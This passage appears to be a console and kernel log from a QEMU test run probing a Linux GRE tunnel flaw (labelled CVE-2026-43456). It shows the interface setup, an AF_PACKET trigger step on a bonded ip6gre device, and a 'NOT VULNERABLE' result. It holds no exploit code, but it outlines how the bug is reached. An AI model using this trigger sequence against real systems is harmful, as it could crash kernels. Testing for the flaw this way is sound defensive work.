2>&1 || true [init] cmd: /sbin/ip link set ip6gre1 master bond7 2>&1 || true [ 15.347488] ip_gre: CVE-2026-43456 ipgre_header: dev=bond1 hlen=0 needed=20 headroom=160 [ 15.368272] bond7: (slave ip6gre1): The slave device specified does not support setting the MAC address [ 15.369077] bond7: (slave ip6gre1): Setting fail_over_mac to active for active-backup mode [ 15.376585] bond7: (slave ip6gre1): making interface the new active one [ 15.379993] bond7: (slave ip6gre1): Enslaving as an active interface with an up link [init] cmd: /sbin/ip link set ip6gre1 up 2>&1 || true [ 15.476981] ip_gre: CVE-2026-43456 ipgre_header: dev=bond1 hlen=0 needed=20 headroom=160 [ 15.478129] ip_gre: CVE-2026-43456 ipgre_header: dev=bond1 hlen=0 needed=20 headroom=160 [init] cmd: /sbin/ip link set bond7 up 2>&1 || true [init] cmd: /sbin/ip addr add fe80::7/64 dev bond7 2>&1 || true [init] ---- PROBE B trigger AF_PACKET on bond7 (ip6gre_header type confusion) ---- [init] AF_PACKET sendto(bond7) rc=-1 (Invalid argument) [init] udp6 sendto ff02::1%bond7 rc=8 (ok) [ 16.116070] ip_gre: CVE-2026-43456 ipgre_header: dev=bond1 hlen=0 needed=20 headroom=160 [init] udp6 sendto fe80::2%bond7 rc=8 (ok) [init] STEP: dump recent kernel log [init] cmd: dmesg 2>/dev/null | tail -80 || true [ 8.994926] input: AT Translated Set 2 keyboard as /devices/platform/i8042/serio0/input/input1 [ 8.995188] rtc_cmos 00:05: RTC can wake from S4 [ 9.017322] rtc_cmos 00:05: registered as rtc0 [ 9.021511] rtc_cmos 00:05: alarms up to one day, y3k, 242 bytes nvram, hpet irqs [ 9.033170] device-mapper: ioctl: 4.50.0-ioctl (2025-04-28) initialised: dm-devel@lists.linux.dev [ 9.034583] amd_pstate: the _CPC object is not present in SBIOS or ACPI disabled [ 9.037553] hid: raw HID events driver (C) Jiri Kosina [ 9.065262] usbcore: registered new interface driver usbhid [ 9.065567] usbhid: USB HID core driver [ 9.092477] Initializing XFRM netlink socket [ 9.095026] NET: Registered PF_INET6 protocol family [ 9.121376] Segment Routing with IPv6 [ 9.122746] In-situ OAM (IOAM) with IPv6 [ 9.125122] sit: IPv6, IPv4 and MPLS over IPv4 tunneling driver [ 9.141761] NET: Registered PF_PACKET protocol family [ 9.144420] 9pnet: Installing 9P2000 support [ 9.145789] Key type dns_resolver registered [ 9.167319] IPI shorthand broadcast: enabled [ 9.442782] input: ImExPS/2 Generic Explorer Mouse as /devices/platform/i8042/serio1/input/input3 [ 9.837276] sched_clock: Marking stable (9778056464, 58643623)->(9877205094, -40505007) [ 9.854326] registered taskstats version 1 [ 9.854561] Loading compiled-in X.509 certificates [ 10.250505] Demotion targets for Node 0: null [ 10.259560] PM: Magic number: 2:8:373 [ 10.260532] vc vcsa1: hash matches [ 10.261073] netconsole: network logging started [ 10.266995] cfg80211: Loading compiled-in X.509 certificates for regulatory database [ 10.284518] kworker/u16:0 (71) used greatest stack depth: 29312 bytes left [ 10.306570] Loaded X.509 cert 'sforshee: 00b28ddf47aef9cea7' [ 10.313478] Loaded X.509 cert 'wens: 61c038651aabdcf94bd0ac7ff06c7248db18c600' [ 10.318945] ALSA device list: [ 10.319338] No soundcards found. [ 10.319573] faux_driver regulatory: Direct firmware load for regulatory.db failed with error -2 [ 10.321910] cfg80211: failed to load regulatory.db [ 10.330421] check access for rdinit=/init failed: -2, ignoring [ 10.331173] md: Waiting for all devices to be available before autodetect [ 10.331360] md: If you don't use raid, use raid=noautodetect [ 10.331616] md: Autodetecting RAID arrays. [ 10.332022] md: autorun ... [ 10.332200] md: ... autorun DONE. [ 10.354560] EXT4-fs (vda): mounting ext2 file system using the ext4 subsystem [ 10.417779] EXT4-fs (vda): mounted filesystem 00000000-0000-0000-0000-000000000000 r/w without journal. Quota mode: none. [ 10.477080] ext2 filesystem being mounted at /root supports timestamps until 2038-01-19 (0x7fffffff) [ 10.480235] VFS: Mounted root (ext2 filesystem) on device 253:0. [ 10.502914] devtmpfs: mounted [ 10.608199] Freeing unused kernel image (initmem) memory: 5644K [ 10.609183] Write protecting the kernel read-only data: 40960k [ 10.616256] Freeing unused kernel image (text/rodata gap) memory: 564K [ 10.618551] Freeing unused kernel image (rodata/data gap) memory: 308K [ 11.191446] x86/mm: Checked W+X mappings: passed, no W+X pages found. [ 11.194350] Run /init as init process [ 11.195094] with arguments: [ 11.195162] /init [ 11.195199] nokaslr [ 11.195224] with environment: [ 11.195253] HOME=/ [ 11.195274] TERM=linux [ 11.744249] uname (78) used greatest stack depth: 26608 bytes left [ 11.757384] sh (77) used greatest stack depth: 26224 bytes left [ 12.429937] modprobe (82) used greatest stack depth: 24960 bytes left [ 12.694238] gre: GRE over IPv4 demultiplexer driver [ 12.720105] ip_gre: GRE over IPv4 tunneling driver [ 12.977582] ip6_gre: GRE over IPv6 tunneling driver [ 14.215423] bond1: (slave gre1): The slave device specified does not support setting the MAC address [ 14.216024] bond1: (slave gre1): Setting fail_over_mac to active for active-backup mode [ 14.229525] bond1: (slave gre1): making interface the new active one [ 14.232311] bond1: (slave gre1): Enslaving as an active interface with an up link [ 14.450066] ip_gre: CVE-2026-43456 ipgre_header: dev=bond1 hlen=0 needed=20 headroom=160 [ 14.462021] ip_gre: CVE-2026-43456 ipgre_header: dev=bond1 hlen=0 needed=20 headroom=160 [ 14.556477] ip_gre: CVE-2026-43456 ipgre_header: dev=bond1 hlen=0 needed=20 headroom=160 [ 14.758422] ip_gre: CVE-2026-43456 ipgre_header: dev=bond1 hlen=0 needed=20 headroom=160 [ 15.094232] ip_gre: CVE-2026-43456 ipgre_header: dev=bond1 hlen=0 needed=20 headroom=160 [ 15.347488] ip_gre: CVE-2026-43456 ipgre_header: dev=bond1 hlen=0 needed=20 headroom=160 [ 15.368272] bond7: (slave ip6gre1): The slave device specified does not support setting the MAC address [ 15.369077] bond7: (slave ip6gre1): Setting fail_over_mac to active for active-backup mode [ 15.376585] bond7: (slave ip6gre1): making interface the new active one [ 15.379993] bond7: (slave ip6gre1): Enslaving as an active interface with an up link [ 15.476981] ip_gre: CVE-2026-43456 ipgre_header: dev=bond1 hlen=0 needed=20 headroom=160 [ 15.478129] ip_gre: CVE-2026-43456 ipgre_header: dev=bond1 hlen=0 needed=20 headroom=160 [ 16.116070] ip_gre: CVE-2026-43456 ipgre_header: dev=bond1 hlen=0 needed=20 headroom=160 [init] RESULT: NOT VULNERABLE (both probes survived, no kernel crash) [ 17.941135] ACPI: PM: Preparing to enter system sleep state S5 [ 17.945341] reboot: Power down === VULN qemu exit=0 2026-07-03T09:22:04+00:00 === === ipgre/ip6gre dev+hlen samples === ipgre_header: dev=bond1 hlen=0 needed=20 === crash markers === 415:[init] ==== PROBE B: ip6gre (IPv6 GRE) : ip6gre1 -> bond7 active-backup ==== 430:[init] ---- PROBE B trigger AF_PACKET on bond7 (ip6gre_header type confusion) ---- 517:[init] RESULT: NOT VULNERABLE (both probes survived, no kernel crash)